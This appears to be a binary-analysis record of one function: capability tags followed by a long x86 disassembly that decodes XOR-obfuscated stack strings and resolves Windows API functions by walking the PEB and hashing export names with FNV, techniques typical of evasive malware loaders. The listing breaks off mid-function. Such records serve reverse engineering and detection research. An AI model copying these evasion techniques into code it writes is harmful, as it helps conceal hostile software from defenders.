Function at 0x4c50b0
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Hash data using fnv
Open clipboard
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x548
mov eax, dword [0x4dc00c]
xor eax, esp
mov dword [esp + 0x544], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov cl, 0x7d
mov dword [esp + 0x18], eax
mov dl, 0x6b
mov byte [esp + 0x2a4], 0xe
mov al, 0x7b
xor al, byte [esp + 0x2a4]
mov ah, 0x7c
xor cl, byte [esp + 0x2a4]
mov ch, 0x3d
mov byte [esp + 0x2a5], al
mov dh, 0x3c
mov byte [esp + 0x2a6], cl
mov cl, byte [esp + 0x2a4]
mov byte [esp + 0x13], 0x20
xor ah, cl
mov al, byte [esp + 0x13]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x6a
mov byte [esp + 0x2ab], al
xor ch, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x11], 0x62
mov byte [esp + 0x2ac], al
mov al, byte [esp + 0x11]
xor al, cl
mov byte [esp + 0x10], 0x62
mov byte [esp + 0x2ad], al
mov al, byte [esp + 0x10]
xor al, cl
mov byte [esp + 0x2a8], ah
mov byte [esp + 0x2ae], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x2af], 0
mov byte [esp + 0x2a7], dl
mov byte [esp + 0x2a9], ch
mov byte [esp + 0x2aa], dh
mov byte [esp + 0x2af], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c5208
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c5208
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x28], ecx
dec edi
mov esi, 0xbfa13a55
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c51fd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c51e0
cmp esi, 0x7529513f
je 0x4c520c
mov ecx, dword [esp + 0x28]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c51c0
mov eax, dword [eax]
jmp 0x4c5192
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x2a5]
add eax, edx
push ecx
call eax
mov dword [0x4dc870], eax
mov cl, 0x5d
mov byte [esp + 0x260], 0x2e
mov al, 0x79
xor al, byte [esp + 0x260]
mov dl, 0x1c
xor cl, byte [esp + 0x260]
mov ah, 0x71
mov byte [esp + 0x261], al
mov dh, dl
mov byte [esp + 0x262], cl
mov ch, 0x1d
mov cl, byte [esp + 0x260]
mov byte [esp + 0x10], 0
xor ah, cl
mov al, byte [esp + 0x10]
xor dl, cl
xor al, cl
mov byte [esp + 0x11], 0x4a
mov byte [esp + 0x267], al
xor ch, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0x42
mov byte [esp + 0x268], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x13], 0x42
mov byte [esp + 0x269], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x264], ah
mov byte [esp + 0x26a], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x26b], 0
mov byte [esp + 0x263], dl
mov byte [esp + 0x265], ch
mov byte [esp + 0x266], dh
mov byte [esp + 0x26b], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c5368
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c5368
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x164614ed
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c535d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c5340
cmp esi, 0xb1a568c7
je 0x4c536c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c5320
mov eax, dword [eax]
jmp 0x4c52f5
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x261]
add eax, edx
push ecx
call eax
mov dword [0x4dc868], eax
mov cl, 2
mov byte [esp + 0x118], 0x52
mov al, 0x21
xor al, byte [esp + 0x118]
mov ch, 0x18
xor cl, byte [esp + 0x118]
mov dl, 0x16
mov byte [esp + 0x119], al
mov ah, 0x1c
mov byte [esp + 0x11a], cl
mov dh, 1
mov cl, byte [esp + 0x118]
mov byte [esp + 0x10], 0x3b
xor ch, cl
mov al, byte [esp + 0x10]
xor dl, cl
xor al, cl
mov byte [esp + 0x11], 6
mov byte [esp + 0x11f], al
xor ah, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0x14
mov byte [esp + 0x120], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x11d], ch
mov byte [esp + 0x122], 0
lea ecx, [esp + 0x278]
mov byte [esp + 0x11b], dl
mov byte [esp + 0x11c], ah
mov byte [esp + 0x11e], dh
mov byte [esp + 0x121], al
mov byte [esp + 0x122], 0
call fcn.004b8bd0
lea ecx, [esp + 0x119]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5450
sub ecx, edx
lea eax, [esp + 0x119]
push ecx
push eax
lea ecx, [esp + 0x280]
call fcn.004b8860
mov cl, 0x6c
mov byte [esp + 0x124], 0x29
mov byte [esp + 0x10], cl
mov al, 0x61
xor al, byte [esp + 0x124]
mov ch, 0x6f
xor cl, byte [esp + 0x124]
mov dl, 0x18
mov byte [esp + 0x125], al
mov ah, 0x47
mov al, byte [esp + 0x10]
mov dh, 0x1f
mov byte [esp + 0x126], cl
mov cl, byte [esp + 0x124]
xor al, cl
mov byte [esp + 0x11], 0x66
mov byte [esp + 0x12b], al
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x5f
mov byte [esp + 0x12c], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x129], ch
mov byte [esp + 0x12e], 0
lea ecx, [esp + 0x2a4]
mov byte [esp + 0x127], dl
mov byte [esp + 0x128], ah
mov byte [esp + 0x12a], dh
mov byte [esp + 0x12d], al
mov byte [esp + 0x12e], 0
call fcn.004b8bd0
lea ecx, [esp + 0x125]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5524
sub ecx, edx
lea eax, [esp + 0x125]
push ecx
push eax
lea ecx, [esp + 0x2ac]
call fcn.004b8860
mov byte [esp + 0x168], 0x5c
mov al, 0x3b
xor al, byte [esp + 0x168]
mov cl, 0x69
xor cl, byte [esp + 0x168]
mov ah, 0x6f
mov byte [esp + 0x169], al
mov ch, 0x12
mov byte [esp + 0x16a], cl
mov dl, 0xb
mov cl, byte [esp + 0x168]
mov dh, 0x1d
mov byte [esp + 0x10], 0x2c
xor ah, cl
mov al, byte [esp + 0x10]
xor ch, cl
xor al, cl
mov byte [esp + 0x11], 6
mov byte [esp + 0x16f], al
xor dl, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x16c], ah
mov byte [esp + 0x170], al
lea eax, [esp + 0x169]
mov byte [esp + 0x16d], ch
lea ecx, [esp + 0x2a4]
mov byte [esp + 0x171], 0
push eax
mov byte [esp + 0x16f], dl
mov byte [esp + 0x172], dh
mov byte [esp + 0x175], 0
call fcn.004b8bf0
test al, al
je 0x4c5721
mov byte [esp + 0x74], 0x44
mov al, 0x76
xor al, byte [esp + 0x74]
mov dl, 0x36
mov byte [esp + 0x75], al
mov cl, 0x1e
mov al, byte [esp + 0x74]
mov ah, 0x7c
xor cl, al
mov byte [esp + 0x10], dl
mov ch, 0x27
mov byte [esp + 0x76], cl
xor ch, al
mov byte [esp + 0x7c], 0
mov dh, 0x1c
mov byte [esp + 0x79], ch
xor dl, al
mov byte [esp + 0x7c], 0
xor ah, al
mov byte [esp + 0x77], dl
xor dh, al
mov byte [esp + 0x78], ah
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x260]
xor al, byte [esp + 0x74]
mov byte [esp + 0x7a], dh
mov byte [esp + 0x7b], al
call fcn.004b8bd0
lea ecx, [esp + 0x75]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5655
sub ecx, edx
lea eax, [esp + 0x75]
push ecx
push eax
lea ecx, [esp + 0x268]
call fcn.004b8860
mov byte [esp + 0x80], 0x1b
mov al, 0x50
xor al, byte [esp + 0x80]
mov cl, 0x2d
mov dl, cl
mov byte [esp + 0x81], al
mov al, byte [esp + 0x80]
mov ch, 0x70
mov dh, 0x78
mov byte [esp + 0x10], 0x29
xor cl, al
mov byte [esp + 0x88], 0
xor dl, al
mov byte [esp + 0x82], cl
xor ch, al
mov byte [esp + 0x83], dl
xor dh, al
mov byte [esp + 0x85], ch
mov ah, 0x74
mov byte [esp + 0x86], dh
xor ah, al
mov byte [esp + 0x88], 0
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x81]
xor al, byte [esp + 0x80]
lea edx, [ecx + 1]
mov byte [esp + 0x84], ah
mov byte [esp + 0x87], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c56f7
sub ecx, edx
lea eax, [esp + 0x81]
push ecx
push eax
lea ecx, [esp + 0x268]
call fcn.004b7e00
lea ecx, [esp + 0x260]
call fcn.004b7770
lea ecx, [esp + 0x2a4]
call fcn.004b7770
lea ecx, [esp + 0x278]
call fcn.004b7770
mov cl, 0x57
mov dword [esp + 0x230], 0x25321c57
mov dword [esp + 0x234], 0x643b3239
xor eax, eax
mov dword [esp + 0x238], 0x3b337965
mov word [esp + 0x23c], 0x3b
nop dword [eax + eax]
xor byte [esp + eax + 0x231], cl
inc eax
cmp eax, 0xc
jae 0x4c5786
mov cl, byte [esp + 0x230]
jmp 0x4c5770
mov eax, dword fs:[0x30]
mov byte [esp + 0x23d], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c5808
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c5808
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x117e0c24
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c57fd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c57e0
cmp esi, 0xf083a406
je 0x4c580c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c57c7
mov eax, dword [eax]
jmp 0x4c57a0
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x231]
add eax, edx
push ecx
call eax
mov dword [0x4dc86c], eax
mov cl, 0x1d
mov byte [esp + 0x8c], 0x25
mov al, 0x10
xor al, byte [esp + 0x8c]
mov dl, 0x5f
mov byte [esp + 0x8d], al
mov ah, 0x15
mov al, byte [esp + 0x8c]
mov ch, 0x16
xor cl, al
mov byte [esp + 0x10], 0x75
xor ch, al
mov byte [esp + 0x8e], cl
mov dh, 0x46
mov byte [esp + 0x91], ch
xor dl, al
mov byte [esp + 0x94], 0
xor ah, al
mov byte [esp + 0x8f], dl
xor dh, al
mov byte [esp + 0x90], ah
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x260]
xor al, byte [esp + 0x8c]
mov byte [esp + 0x92], dh
mov byte [esp + 0x93], al
mov byte [esp + 0x94], 0
call fcn.004b8bd0
lea ecx, [esp + 0x8d]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c58d0
sub ecx, edx
lea eax, [esp + 0x8d]
push ecx
push eax
lea ecx, [esp + 0x268]
call fcn.004b8860
mov byte [esp + 0xf4], 0x45
mov al, 0x2c
xor al, byte [esp + 0xf4]
mov cl, 0x70
xor cl, byte [esp + 0xf4]
mov ch, 0xc
mov byte [esp + 0xf5], al
mov dl, 0x11
mov byte [esp + 0xf6], cl
mov ah, 0x24
mov cl, byte [esp + 0xf4]
mov dh, 0x2a
mov byte [esp + 0x10], 0xd
xor ch, cl
mov al, byte [esp + 0x10]
xor dl, cl
xor al, cl
mov byte [esp + 0x11], 0x71
mov byte [esp + 0xfb], al
xor ah, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0xf9], ch
mov byte [esp + 0xfd], 0
lea ecx, [esp + 0x230]
mov byte [esp + 0xf7], dl
mov byte [esp + 0xf8], ah
mov byte [esp + 0xfa], dh
mov byte [esp + 0xfc], al
mov byte [esp + 0xfd], 0
call fcn.004b8bd0
lea ecx, [esp + 0xf5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5993
sub ecx, edx
lea eax, [esp + 0xf5]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b8860
mov al, 0x7d
mov byte [esp + 0xbc], 0x49
mov dh, al
mov byte [esp + 0xc3], 0
xor al, byte [esp + 0xbc]
mov cl, 0x1f
mov ch, 0xd
mov byte [esp + 0xbd], al
mov al, byte [esp + 0xbc]
mov dl, 0x19
xor cl, al
mov byte [esp + 0xc3], 0
xor ch, al
mov byte [esp + 0xbe], cl
mov ah, 0x3f
mov byte [esp + 0xc1], ch
xor dl, al
lea ecx, [esp + 0xbd]
xor ah, al
mov byte [esp + 0xbf], dl
xor dh, al
mov byte [esp + 0xc0], ah
mov byte [esp + 0xc2], dh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5a21
sub ecx, edx
lea eax, [esp + 0xbd]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b7f90
mov byte [esp + 0x174], 6
mov cl, 0x4a
xor cl, byte [esp + 0x174]
mov al, 0x4b
xor al, byte [esp + 0x174]
mov dl, 0x6a
mov byte [esp + 0x175], al
mov ch, 0x53
mov byte [esp + 0x176], cl
mov dh, 0x42
mov cl, byte [esp + 0x174]
mov ah, 0x51
mov byte [esp + 0x10], 0x7c
xor dl, cl
mov al, byte [esp + 0x10]
xor dh, cl
xor al, cl
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x17b], al
xor ch, cl
mov al, byte [esp + 0x11]
xor ah, cl
xor al, cl
mov byte [esp + 0x177], dl
mov byte [esp + 0x179], ch
lea ecx, [esp + 0x175]
mov byte [esp + 0x17a], dh
lea edx, [esp + 0x230]
mov byte [esp + 0x17d], 0
mov byte [esp + 0x178], ah
mov byte [esp + 0x17c], al
mov byte [esp + 0x17d], 0
call fcn.004b8560
test al, al
je 0x4c5bc4
mov byte [esp + 0x180], 0x49
mov cl, 0x7a
xor cl, byte [esp + 0x180]
mov al, 0x13
xor al, byte [esp + 0x180]
mov ch, 0x22
mov byte [esp + 0x181], al
mov dl, 0x7e
mov byte [esp + 0x182], cl
mov dh, 0x1b
mov cl, byte [esp + 0x180]
mov ah, 0x3c
mov byte [esp + 0x10], 0x31
xor dl, cl
mov al, byte [esp + 0x10]
xor ch, cl
xor al, cl
mov byte [esp + 0x11], 0x3f
mov byte [esp + 0x187], al
xor dh, cl
mov al, byte [esp + 0x11]
xor ah, cl
xor al, cl
mov byte [esp + 0x12], 0x28
mov byte [esp + 0x188], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x13], 0x1a
mov byte [esp + 0x189], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x185], ch
lea ecx, [esp + 0x181]
mov byte [esp + 0x18b], 0
mov byte [esp + 0x183], dl
mov byte [esp + 0x186], dh
lea edx, [ecx + 1]
mov byte [esp + 0x184], ah
mov byte [esp + 0x18a], al
mov byte [esp + 0x18b], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5ba6
sub ecx, edx
lea eax, [esp + 0x181]
push ecx
push eax
lea ecx, [esp + 0x268]
call fcn.004b7e00
lea ecx, [esp + 0x230]
call fcn.004b7770
lea ecx, [esp + 0x260]
call fcn.004b7770
mov cl, 0x31
mov dword [esp + 0x1d0], 0x54596231
mov dword [esp + 0x1d4], 0x3025d5d
xor eax, eax
mov dword [esp + 0x1d8], 0x5d5d551f
mov byte [esp + 0x1dc], 0
nop dword [eax]
xor byte [esp + eax + 0x1d1], cl
inc eax
cmp eax, 0xb
jae 0x4c5c26
mov cl, byte [esp + 0x1d0]
jmp 0x4c5c10
mov eax, dword fs:[0x30]
mov byte [esp + 0x1dc], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c5ca8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c5ca8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xfdb0246e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c5c9d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c5c80
cmp esi, 0xdac12020
je 0x4c5cac
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c5c67
mov eax, dword [eax]
jmp 0x4c5c40
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1d1]
add eax, edx
push ecx
call eax
mov byte [esp + 0x18c], 0x2b
mov al, 0x66
xor al, byte [esp + 0x18c]
mov cl, 0x62
xor cl, byte [esp + 0x18c]
mov dh, 0x48
mov byte [esp + 0x18d], al
mov ch, 0x49
mov byte [esp + 0x18e], cl
mov dl, 0x5a
mov cl, byte [esp + 0x18c]
mov ah, 0x7d
mov byte [esp + 0x10], 0x42
xor ch, cl
mov al, byte [esp + 0x10]
xor dl, cl
xor al, cl
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x193], al
xor ah, cl
mov al, byte [esp + 0x11]
xor al, cl
mov byte [esp + 0x12], dh
mov byte [esp + 0x194], al
xor dh, cl
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x13], 0x51
mov byte [esp + 0x195], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x191], ch
mov byte [esp + 0x197], 0
lea ecx, [esp + 0x230]
mov byte [esp + 0x18f], dl
mov byte [esp + 0x190], ah
mov byte [esp + 0x192], dh
mov byte [esp + 0x196], al
mov byte [esp + 0x197], 0
call fcn.004b8bd0
lea ecx, [esp + 0x18d]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5da0
sub ecx, edx
lea eax, [esp + 0x18d]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b8860
mov byte [esp + 0x98], 0x7d
mov al, 0x3c
xor al, byte [esp + 0x98]
mov cl, 0x28
mov byte [esp + 0x99], al
mov dl, 0x16
mov al, byte [esp + 0x98]
mov ch, 0xe
mov dh, 5
mov byte [esp + 0x10], 8
xor cl, al
mov byte [esp + 0xa0], 0
xor dl, al
mov byte [esp + 0x9a], cl
xor ch, al
mov byte [esp + 0x9b], dl
xor dh, al
mov byte [esp + 0x9d], ch
mov ah, 0x33
mov byte [esp + 0x9e], dh
xor ah, al
mov byte [esp + 0xa0], 0
mov al, byte [esp + 0x10]
lea ecx, [esp + 0x99]
xor al, byte [esp + 0x98]
lea edx, [ecx + 1]
mov byte [esp + 0x9c], ah
mov byte [esp + 0x9f], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5e45
sub ecx, edx
lea eax, [esp + 0x99]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b7f90
mov byte [esp + 0x154], 0x13
mov cl, 0x7a
xor cl, byte [esp + 0x154]
mov al, 0x67
xor al, byte [esp + 0x154]
mov ch, 0x41
mov byte [esp + 0x155], al
mov dl, 0x72
mov byte [esp + 0x156], cl
mov dh, 0x78
mov cl, byte [esp + 0x154]
mov ah, 0x5a
mov byte [esp + 0x10], 0x70
xor dl, cl
mov al, byte [esp + 0x10]
xor ch, cl
xor al, cl
mov byte [esp + 0x11], 0x54
mov byte [esp + 0x15b], al
xor dh, cl
mov al, byte [esp + 0x11]
xor ah, cl
xor al, cl
mov byte [esp + 0x12], 0x5b
mov byte [esp + 0x15c], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x13], 0x62
mov byte [esp + 0x15d], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x159], ch
lea ecx, [esp + 0x155]
mov byte [esp + 0x15f], 0
mov byte [esp + 0x157], dl
mov byte [esp + 0x15a], dh
lea edx, [ecx + 1]
mov byte [esp + 0x158], ah
mov byte [esp + 0x15e], al
mov byte [esp + 0x15f], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c5f20
sub ecx, edx
lea eax, [esp + 0x155]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b7f90
lea ecx, [esp + 0x230]
call fcn.004b7770
mov cl, 0x41
mov dword [esp + 0x1e0], 0x28250641
mov dword [esp + 0x1e4], 0x32342d31
xor eax, eax
mov dword [esp + 0x1e8], 0x2d2d256f
mov byte [esp + 0x1ec], 0
nop word [eax + eax]
xor byte [esp + eax + 0x1e1], cl
inc eax
cmp eax, 0xb
jae 0x4c5f96
mov cl, byte [esp + 0x1e0]
jmp 0x4c5f80
mov eax, dword fs:[0x30]
mov byte [esp + 0x1ec], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c6018
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c6018
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x8c261ed0
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c600d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c5ff0
cmp esi, 0xe7104742
je 0x4c601c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c5fd7
mov eax, dword [eax]
jmp 0x4c5fb0
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1e1]
add eax, edx
push ecx
call eax
mov byte [esp + 0x1a8], 0x52
mov cl, 0x36
mov al, 0x15
mov byte [esp + 0x10], cl
xor al, byte [esp + 0x1a8]
mov ah, 0x61
xor cl, byte [esp + 0x1a8]
mov dl, 0x3b
mov byte [esp + 0x1a9], al
mov ch, 0x60
mov al, byte [esp + 0x10]
mov dh, 0x7c
mov byte [esp + 0x1aa], cl
mov cl, byte [esp + 0x1a8]
xor al, cl
mov byte [esp + 0x11], 0x3e
mov byte [esp + 0x1af], al
xor ah, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x3e
mov byte [esp + 0x1b0], al
xor ch, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x1ac], ah
mov byte [esp + 0x1b1], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x1b2], 0
mov byte [esp + 0x1ab], dl
mov byte [esp + 0x1ad], ch
mov byte [esp + 0x1ae], dh
mov byte [esp + 0x1b2], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x28], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x4c6158
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c6158
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x594a3bbd
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c614d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c6130
cmp esi, 0xca857fb7
je 0x4c615c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c6117
mov eax, dword [eax]
jmp 0x4c60f0
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1a9]
add eax, edx
push ecx
call eax
mov dword [0x4dc880], eax
mov cl, 0x51
mov byte [esp + 0x100], 0x3b
mov al, 0x4b
xor al, byte [esp + 0x100]
mov ch, 0x74
xor cl, byte [esp + 0x100]
mov dl, 0x42
mov byte [esp + 0x101], al
mov ah, 0x7d
mov byte [esp + 0x102], cl
mov dh, 9
mov cl, byte [esp + 0x100]
mov byte [esp + 0x10], 0x53
xor ch, cl
mov al, byte [esp + 0x10]
xor dl, cl
xor al, cl
mov byte [esp + 0x11], 0x57
mov byte [esp + 0x107], al
xor ah, cl
mov al, byte [esp + 0x11]
xor dh, cl
xor al, cl
mov byte [esp + 0x105], ch
mov byte [esp + 0x109], 0
lea ecx, [esp + 0x230]
mov byte [esp + 0x103], dl
mov byte [esp + 0x104], ah
mov byte [esp + 0x106], dh
mov byte [esp + 0x108], al
mov byte [esp + 0x109], 0
call fcn.004b8bd0
lea ecx, [esp + 0x101]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c6230
sub ecx, edx
lea eax, [esp + 0x101]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b8860
mov byte [esp + 0xc4], 0x59
mov al, 0x15
xor al, byte [esp + 0xc4]
xor ch, ch
mov cl, 0x60
mov byte [esp + 0xc5], al
mov al, byte [esp + 0xc4]
mov dl, 0x32
xor cl, al
mov byte [esp + 0xcb], 0
xor ch, al
mov byte [esp + 0xc6], cl
mov ah, 0x6f
mov byte [esp + 0xc9], ch
mov dh, 0x1e
lea ecx, [esp + 0xc5]
xor dl, al
xor ah, al
xor dh, al
mov byte [esp + 0xc7], dl
mov byte [esp + 0xca], dh
lea edx, [ecx + 1]
mov byte [esp + 0xc8], ah
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c62b6
sub ecx, edx
lea eax, [esp + 0xc5]
push ecx
push eax
lea ecx, [esp + 0x238]
call fcn.004b7f90
mov byte [esp + 0x130], 0x20
mov cl, 0x57
xor cl, byte [esp + 0x130]
mov al, 0x6d
xor al, byte [esp + 0x130]
mov ch, 0x10
mov byte [esp + 0x131], al
mov dl, 0x18
mov byte [esp + 0x132], cl
mov dh, 0x79
mov cl, byte [esp + 0x130]
mov ah, 0x13
mov byte [esp + 0x10], 0x65
xor dl, cl
mov al, byte [esp + 0x10]
